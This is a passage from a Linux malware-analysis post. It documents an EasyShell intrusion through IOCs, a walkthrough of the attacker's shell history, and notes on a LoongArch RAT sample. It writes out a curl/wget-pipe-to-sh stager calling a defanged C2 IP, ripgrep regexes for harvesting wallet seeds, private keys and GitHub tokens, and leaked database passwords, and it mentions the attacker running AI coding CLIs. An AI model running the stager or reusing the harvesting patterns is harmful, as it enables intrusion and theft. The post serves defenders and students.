  • EasyShell (ESCH) Stager (L333): (curl -fsSL -k -m180 '192[.]3[.]31[.]148:8443/file'||wget -T180 -q --no-check-certificate '192[.]3[.]31[.]148:8443/file')|sh — re-fetches and executes the stage-1 dropper from the attacker's C2 (192[.]3[.]31[.]148:8443).
  • Moying V2 (墨影远控 V2, beta666888[.]cc, L29–L32, L60, L65–L67, L82, L106–L107, L123–L150, L188–L200, L206–L207, L324–L325, L703–L705): Python/Android RAT framework in /root/moying-v2/ featuring server/*.py, encrypted agent/Crypto/Cipher/*.py, protocol/*.py, android/.build/*.apk, state/refc2.db, MANIFEST.json, PACKAGE-INFO.json, and contracts/api_surface.json.
  • Additional Co-Hosted Panels & Backdoors:
    • c2c_deploy (/www/wwwroot/c2c_deploy/, L233, L246, L258–L265, L368, L404–L405, L444, L569, L605–L618): Includes secret_key, config.yaml, start.sh, initdb.py, and mnemonic_decrypt_kit/ (bitget_kdf.json, CoinbaseWallet_助记词加密分析报告.md) for decrypting stolen iOS wallet keychains (wa_keychain_C477GG3542.tar.gz, L632).
    • Additional MySQL databases (L105, L108, L268, L277–L279, L513, L517, L522, L637): ios_admin, niubi (password oIajWx4y3TFPuxE5), admin_com, chapter_db, plus dshops_backdoor_backup_20261013-211329.tar.gz (L387).
  • FRP (Fast Reverse Proxy) Infrastructure (L46–L47, L99–L101): /opt/frps/frpc.toml and frpc-web.toml exposing ports 1996, 1997, 1998, 7000, 7500.
  • Attacker Helper Scripts & ripgrep (rg) Regex Suite (L2–L7, L210–L213, L336–L706):
    • Custom scripts: /dev/shm/.gc.sh (background worker, L6), /tmp/deep_mine3.py -> /tmp/mine3_out.txt (L7), /tmp/clear_builds.py, /tmp/extra_path.py, /tmp/gen_catalog.py (L3–L5), /tmp/pack_all.sh, /tmp/pack_all_v2.sh, /tmp/repack_fix.sh (L210–L213), /tmp/au4.sh (L370–L371, L557), ssh_root.py / rt5k_rev2 (L547, L572, L597, L603).
    • ripgrep (rg) Regexes (L339–L706):
      • BTC (Bech32/Taproot & Legacy/P2SH): \bbc1[ac-hj-np-z02-9]{35,75}\b (L339, L348, L363, L502, L506–L507, L658, L660) and \b(?:[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{39,62})\b (L429).
      • TRON (TRX/TRC-20): "T[1-9A-HJ-NP-Za-km-z]{33}" / \bT[1-9A-HJ-NP-Za-km-z]{33}\b (L345, L406, L408, L620–L626).
      • Ethereum / EVM Addresses & 256-bit Private Keys: \b0x([A-F,a-f,0-9]{40})\b (L380, L417–L418, L553, L600), \b0x([a-f,0-9]{64})\b (L552), and "(?:0x[a-fA-F0-9]{64}|[a-fA-F0-9]{64})' (L706).
      • 12-Word BIP-39 Mnemonics: (["'])([a-z]{3,8}\s){11}[a-z]{3,8}\1 / \b([a-z]{3,8}\s){11}[a-z]{3,8}\b (L367, L372, L425–L426, L554–L556).
      • GitHub Tokens & SSH/DB Secrets: (?:gh[pousr]_[A-Za-z0-9]{36,255}|github_pat_[A-Za-z0-9]{22,}) (L430–L431), "BEGIN OPENSSH" / "PRIVATE KEY" (L571, L574–L575, L578–L579, L581), "SSHPASS=" / sshpass (L419, L422, L583, L598, L661), and IPv4 extraction in .sh files (L568).

29.4-III: Chronological Walkthrough by Line Number (L1 – L706)

  • Session 1 (L1): Session Boundary
    • L1: exit closes a prior interactive shell session.
  • Session 2 (L2–L64): Staging Recon Scripts, Forging Fisher C2 Admin JWT & Full Codebase Inventory
    • L2–L5: Checks timestamps (stat) on /tmp/api-check.json, /tmp/fisher-check.json, /tmp/clear_builds.py, /tmp/gen_catalog.py, and /tmp/extra_path.py, inspects head -2 /tmp/extra_path.py, and deletes /tmp/extra_path.py.
    • L6–L7: Launches hidden background script /dev/shm/.gc.sh (nohup ... & echo GC_PID=$!) and runs /tmp/deep_mine3.py logging to /tmp/mine3_out.txt (EXIT_V3).
    • L8–L11: Reads /opt/fisher-node/data/.jwt_secret, uses Node's jsonwebtoken to mint a 30-day isSuper: true admin JWT (sessionId: '1c469a66144eeffad1862775135865f3'), tests /api/auth/verify, and dumps /api/devices from hxxps: //127.0.0.1:8443.
    • L12–L64: Runs a structured reconnaissance banner script (DONE_INVENTORY, exit) counting files, disk sizes, and source lines across all six hosted platforms: FISHER C2 (ts5025[.]cc) (L12–L16), FISHER PHP (L17–L19), CAISHENGE V2 (ios.ts5025[.]cc) (L20–L23), iOS EXPLOIT CHAINS (C10 + DarkSword) (L24–L28), MOYING V2 (beta666888[.]cc) (L29–L32), iOS CORUNA (dingxin8[.]cc) (L33–L36), FENGJC 销售站 (L37–L39), APK 源码/模板 (L40–L44), 部署配置 (/www/docker-compose.yml, /opt/frps/, L45–L47), and AI 开发历史 (/root/.codex/, /root/.claude/, L48–L50), followed by total line counts (L51–L63).
  • Session 3 (L65–L84): Deep-Dive Line Counts & iOS肯德基无感 Discovery
    • L65–L84: Counts exact Python/TypeScript/JS line numbers inside moying-v2, /www/backend/app/, /wwww/iOS肯德基无感/backend/, /wwww/iOS肯德基无感/admin-web/src/, /www/backend/chains/, /www/sql/caishenge.sql, fisher-node/landing-templates/, apk-builder/*.py, and server.js/server_remote.js/user_mgmt.js, concluding with === DISK SUMMARY === (DONE2, exit).
  • Session 4 (L85–L113): Multi-Database Victim Enumeration (Fisher, Caishenge, ios_admin, Moying, niubi) & FRP Audit
    • L85–L98: Queries /opt/fisher-node/data/fisher.db, hits schema mismatches on last_seen/data, runs .schema devices and .schema device_logs (L93–L94), and queries last_active and message/created_at (L95–L98).
    • L99–L101: Reads /opt/frps/frpc.toml and frpc-web.toml and checks listening FRP/tunnel ports (1996|1997|1998|frp|7000|7500).
    • L102–L113: Queries caishenge-v2-mysql (devices and wallet_data mnemonics using DV1UloCHlHVfJXWh, L102–L104), local MySQL ios_admin (oIajWx4y3TFPuxE5, L105), moying-v2/state/refc2.db (devices and sessions, L106–L107), MySQL niubi (users, L108), pm2 list, docker ps, and active sockets (:8443|:8080|:8793|:3002, L109–L113).
  • Session 5 (L114–L122): Finalized CSV Victim Export & Live WebSocket Check
    • L114–L118: Exports CSV victim tables from fisher.db (last_seen, phone_number, content, created_at/1000) and queries device/wallet counts in caishenge-v2-mysql.
    • L119–L122: Lists active external ESTAB connections on :8443 (ss -tnp) and exits (DONE3, exit).
  • Session 6 (L123–L185): Granular Source Audits of Moying V2 & PandaV6 / Fisher C2 / 嘴哥管理系统(ZGL)
    • L123–L150: Audits every module of /root/moying-v2/ (server/, agent/Crypto/Cipher/, tools/, protocol/, selftest*.py, build/, i18n/, .env, state/refc2.db, MOYING_DONE).
    • L151–L185: Audits /opt/fisher-node/ (patches/*.py, apk-builder/*.py, kiss_template.apk, ghost_template.apk, dpt-shell/, landing-templates/落地/), /var/www/ts5025[.]cc/api/*.php, .env, package.json, deploy/, docker/, apk-output/*.apk, and fengjc_site/ (V6_DONE, exit).
  • Session 7 (L186–L204): Android Build Artifacts, Manifests & System-Wide RAT Directory Sweep
    • L186–L204: Inspects moying-v2/android/ (.java, .kt, .xml, .smali, .build/*.apk, .dex), web/, contracts/, MANIFEST.json, VERSION, PACKAGE-INFO.json, materials/, certs/, and runs a root-wide find / -maxdepth 3 for *远控*|*rat*|*trojan*|*moying*|*xiongmao*|*panda*|*fisher*|*v6*|*v7* (DONE_FINAL, exit).
  • Sessions 8–9 (L205–L214): Source Code Packaging & Exfiltration Preparation
    • L205–L214: Creates /tmp/export_src, tars moying-v2.tar.gz and fisher-node.tar.gz, and executes batch packaging scripts /tmp/pack_all.sh (logged to /tmp/pack_log.txt), /tmp/pack_all_v2.sh, and /tmp/repack_fix.sh.
  • Session 10 (L215–L334): Interactive AI CLI Usage, Full MySQL/Webroot Dumps, Cleanup & EasyShell Re-Staging
    • L215–L219: Runs claude and codex interactively from the root shell.
    • L220–L266: Explores /wwww/, /www/wwwroot/i.131422.com/, /www/wwwroot/c2c_deploy/ (config.yaml), /opt/fisher-node/, runs bt (BaoTa Panel CLI), and dumps ioscoruna via mysqldump -uioscoruna -pioscoruna (L252–L253, L266) and /www/wwwroot/ (wwwroot.tar.gz, L256).
    • L267–L282: Verifies MySQL root passwords (DV1UloCHlHVfJXWh and oIajWx4y3TFPuxE5), reconfigures mysqld.cnf bind-address = 0.0.0.0 (L272) for external database access, checks ufw/iptables (L273–L275), and dumps every non-system MySQL database into /tmp/db_*.sql -> /tmp/db_dumps.tar.gz (L277–L281).
    • L283–L332: Inspects /var/www/ts5025[.]cc/ and /var/www/html/go.html, archives varwww.tar.gz (L295), checks disk usage (df -h), and deletes temporary staging archives (wwwroot.tar.gz, varwww.tar.gz, db_dumps.tar.gz, *.apk, ts5025-src.tgz, stack-full.tgz, moy.part.00/01, fs.part.00/01) (L313–L327).
    • L333–L334: Re-runs the EasyShell stager (curl -fsSL -k -m180 '192[.]3[.]31[.]148:8443/file'||wget ...)|sh and exits.
  • Session 11 (L335–L706): ripgrep Installation & Systematic Crypto-Seed / Key Harvesting
    • L335–L368: Installs ripgrep (L337), sweeps for bc1... BTC addresses and T... TRON addresses, inspects victim iOS wallet extractions i.131422.com/data/okx_extract/104[.]234[.]161[.]74/, wallet18_state.json, ioscoruna/decrypted_wallets.ibd), and searches for 12-word BIP-39 mnemonics (CoinbaseWallet_助记词加密分析报告.md).
    • L369–L457: Inspects /tmp/au4.sh, sweeps /www/wwwroot/ for ETH 0x... addresses, lists loot archives (tsg_all_data.tar.gz, dshops_backdoor_backup_20261013-211329.tar.gz, darksword_full.tar.gz, r3src2.tar.gz, fisher-source-20260928.tar.gz), reads scan_keychain_seeds.py, searches tsg_exfil for BTC/GitHub PATs, and inspects rootdump/.bash_history and darksword_22F76_legacy_offsets.json.
    • L458–L543: Inspects fisher-node/data/auto_build_config.json, rfix-deploy/mnemonic-pass.txt, ioscoruna/mnemonic_hits.ibd, mnemonic_scan_photos.log/notes.log, balance_sync.js, fix_wallet18.py, unknown_posts/post_api_device-data_1792321106381.bin, and /var/lib/mysql/ raw .ibd files (ios_admin, darksword_rce, niubi, ioscoruna) before troubleshooting MySQL UNIX sockets (L523–L542).
    • L544–L626: Checks lateral-movement files (ssh_root.py, ssh_hits.txt, rt5k_rev2, au4.sh), sweeps /var/ for 64-hex private keys and 12-word mnemonics, searches for BEGIN OPENSSH / PRIVATE KEY, audits /root/.claude/projects/-root (history.jsonl, L584–L595), and inspects _c2c_extract_20261014_124822/c2c_deploy/mnemonic_decrypt_kit/ (bitget_kdf.json, initdb.py, L605–L618).
    • L627–L706: Inspects Accounts3.sqlite (L629), lists .tar.gz/.tgz/.zip archives (v6.0.tar.gz, wa_keychain_C477GG3542.tar.gz, wallet16_com_sixdays_trust.dylib.gz, pkg_caishenge.tgz, src-05-fisher-data.tgz, src-02-blackhole-ios.tgz, se_deploy_kit.tgz, c10_chains.tgz), reads i.131422.com/adm888app/ (derive_all.js, auth.json, wallet18.json, wallet18_auto.py, schema_v1.sql), and finishes by grepping moying-v2 for 64-hex keys/hashes (L703–L706).

29.4-IV: The intrusion history evidence:

Read & use this knowledge with caution, this post is a Linux threat analysis education material
evidence
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
<!==================== END HERE============================================>

《 30. Epilogue 》

The lesson of this case is small but important. The downloader in a glimpse looked like another threat's binary (VShell, Kinsing etc), and the payload was none of them. The binary answered the question once it was read statically, and the public notes on the EasyShell framework then fitted the strings the binary already showed.

The installation and the usage of AI agentic session by the attacker(s) is suspected in the shell's history accessed by the actor, we should be alerted on what execution that can be conducted during the intrusion.

Not only linux environments are aimed but MacOS too. The intention is remote access functonality/RAT, but the infection route is unclear, so yes we have a MacOS malware case here too, without infection confirmation so far.

In this sample series, there is a LoongArch (258) cpu, this could be the 1st #RAT #malware in this planet. In practice it targets Loongson 3A5000, 3A6000 and 3C/3D-series machines running a new-world distro (Debian loong64, Loongnix, Kylin, UOS and so on), but I didn't do a runtest yet.

Hash     : 7fbed01a062c5204be53ea18acd64e2463b962f04977c4eba8e3d8481cabe6b6
e_machine: LoongArch (258)
Flags    : 0x43: DOUBLE-FLOAT, OBJ-v1 (the current “new world” LoongArch ABI, lp64d)
Entry    : 0x120011874 (LoongArch’s usual load base, 0x120000000)
Toolchain: GCC: (GNU) 13.2.0 + rustc 1.96.0 (ac68faa20 2026-05-25)
Linking	dynamic: interpreter /lib/ld.so.1, NEEDED libgcc_s.so.1 and libc.so

If you are a student, take the offsets in this post and reproduce each view in radare2 (pd, px, izz) on your own copy, in an isolated environment. If you are a defender, start with the kernel-thread name check in chapter 25.

■ Related posts references

Read & use this knowledge with caution, this post is a Linux threat analysis education material
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@unixfreaxjp, malwaremustdie.org